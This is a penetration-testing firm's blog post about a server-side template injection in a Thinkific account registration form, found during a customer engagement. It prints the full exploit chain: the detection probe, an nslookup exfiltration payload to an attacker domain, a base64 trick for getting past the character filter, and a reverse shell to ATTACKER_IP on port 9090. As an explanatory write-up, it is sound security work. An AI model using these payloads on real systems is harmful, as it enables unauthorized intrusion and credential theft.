How Spinae Was Able To Take Over Thousands Of Websites
Dear security enthusiasts,
In this article we will discus how Spinae was able to identify and exploit an Unauthenticated Remote Code Execution vulnerability in the online course platform of Thinkific. According to them, their platform is trusted by 50k entrepreneurs.
Spinae was requested by a customer to perform an external penetration test. During this pentest, we discovered a subdomain belonging to our customer behind which a Thinkific web application was found. After some research we found that the application was built with the framework Ruby on Rails. A lot of these web application frameworks are designed to be secure and to make the communication between the web client and the server better. However, template engines are widely used in web application frameworks but some of these template engines bring vulnerabilities such as Server-Side Template Injection (SSTI) with them. Such type of vulnerability can have a critical impact on a web application if the things entered in an input field are not properly validated (= is a lack of proper input validation).
Since such vulnerabilities allow you to inject server-side code, an attacker could gain access to the server by injecting malicious template syntax, tricking the web application to execute system commands.
This is exactly the type of vulnerability that Spinae discovered in the account registration functionality of the Thinkific web application. We instantly contacted our customer and scheduled an urgent meeting to discuss this critical vulnerability so that they could contact their supplier Thinkific. However, before our meeting could took place, our actions (to identify and exploit the vulnerability) were already noticed by the Thinkific security team, our access to the application was blocked and the vulnerability was fixed (or at least blocked by some kind of firewall)!
We were impressed by this excellent behaviour and fast response of Thinkific!
You might be wondering now ‘I have my own web application. Is it vulnerable to this too?‘ or ‘Is my security team capable to identify attacks (so quickly)?‘. Get in touch with Spinae for all your security questions.
Time to get a bit technical 😉
As mentioned before, the web application is created with the framework Ruby on Rails. This framework uses a template engine where Server-Side Template Injection (SSTI) is possible if there is no proper input validation done. Obviously, since the impact could be very high, we mainly focused on identifying that vulnerability. This vulnerability can be identified by injecting the following template syntax:
<%= 7 * 7 %>
During the creation of our second account, we were able to make the back-end do the calculation! After the identification of the vulnerability, we tried to exploit it by creating new account that will execute ‘malicious’ functions. Instead of using mathematical function, we used the system function. This could allow us to execute system commands. We tried to execute the whoami command by changing the first name to the following payload:
<%= system(“whoami”) %>
Unfortunately, the output from the command was not shown in the response mail. It only said true, meaning that the command was successfully executed.
Then we had to find a way to perform any kind of data exfiltration. This could be done by spawning a reverse shell (= a connection between the application and our attacker machine that allows us to execute system commands on the connected system) or by making the application send a request (containing the response of the whoami command) to our server. Since the code to spawn a reverse shell contains multiple special characters that could be blocked by the application, we tried sending a request first. We did this with the following payload:
<%= system(“nslookup `whoami`.attackermachine.spinae”) %>
This time, we got a false as response back in our mail. For some reason the command did fail. Maybe the command was to long, or it contained an unwanted character.
30 accounts later, we did identify the issue. There was some kind of limitation of the used characters. This time, we decided to put the payload in the first name and the function to execute in the last name. This allowed to see what the blocked character was since it was stripped out of the response. We used the following values to create the next account:
First name:
<%= system(“nslookup 127.0.0.1”) %>
Last name:
system(“nslookup 127.0.0.1”)
We identified that the dot character was not allowed in the name fields. However, there is an easy trick to bypass this: you can simply encode your payload and make the server execute the decoded value. Below you find a simple of how you can do that:
echo d2hvYW1p | base64 -d | bash
This command will decode the value d2hvYW1p (which is the base64 encoded value of whoami), and thereafter execute that command. As you can see, there are no dots in this command so we could use this to perform our data exfiltration. Instead of using the base64 version of the whoami command like the sample above, we used the base64 version of the command to spawn a reverse shell. Our final payload looked as follow:
<%= system(“echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL0FUVEFDS0VSX0lQX0hFUkUvOTA5MCAwPiYx | base64 -d | bash”) %>
Decoded value of the base64 payload:
/bin/bash -i >& /dev/tcp/ATTACKER_IP_HERE/9090 0>&1
On our attacker machine we started a netcat listener on port 9090. When we created an account with the above payload as username, we got a shell on the machine giving us user access.
This reverse shell allowed us to execute commands (as the user app) on the server of the online course platform. Here we could find credentials and other interesting information.
Mission accomplished!
Summary
Glossary
To make sure all technical terms used in this blog post can be understood, we have bundled these terms below.
Server-Side Template Injection: a security vulnerability that occurs when an attacker is able to inject malicious code into a server-side template. This can lead to the execution of arbitrary commands on the server, potentially resulting in data leaks, unauthorized access, or even remote code execution.
Penetration Test: a systematic process of assessing the security of a computer system, network, or application. It involves simulating real-world attacks to identify vulnerabilities, weaknesses, and potential entry points that malicious actors could exploit. The goal is to provide insights and recommendations for strengthening the system’s security. Sometimes also referred to as ethical hacking.
Input Validation: a process of verifying and validating data entered by users or received from external sources. It ensures that the input meets specified criteria, such as length, format, and range. Proper input validation is crucial for preventing common security issues like injection attacks, cross-site scripting (XSS), and other forms of malicious input.
Remote Code Execution: the ability of an attacker to execute arbitrary code on a target system or application remotely. It usually occurs when a vulnerability allows the attacker to inject and run their own code on the target, bypassing normal security mechanisms. RCE vulnerabilities are highly critical and can lead to complete compromise of the target system.
Back-end: In web development, the back-end refers to the server-side of an application or website. It consists of the logic, databases, and functionality that enable the front-end (client-side) to interact with the server, process requests, and deliver data. The back-end is responsible for handling business logic, database operations, authentication, and other server-side operations.
Data Exfiltration: the unauthorized extraction or transfer of sensitive or confidential data from a network or system. It involves the intentional or unintentional leakage of data from a protected environment to an external destination controlled by an attacker. This can occur through various means, such as file transfers, network protocols, covert channels, or other methods.
Reverse Shell: a technique used in computer security and hacking, where an attacker gains access to a target system and establishes a command shell from the target system to their own machine. This allows the attacker to execute commands and control the target system remotely. The reverse shell enables the attacker to bypass firewalls and other security measures that may restrict inbound connections.
About the author
Timo De Clercq is our lead application pentester at Spinae. As a teenager he started developing his own applications and immediately found out that things could be used in other ways than intended when not being careful. He got his degree as Cyber Security Professional at Howest University College Brugge, Belgium and started of his professional career as security researcher at Howest University College. He later came on board at Spinae as our lead application pentester. In his free time, he is a bounty hunter on several cyber security bounty hunting platforms.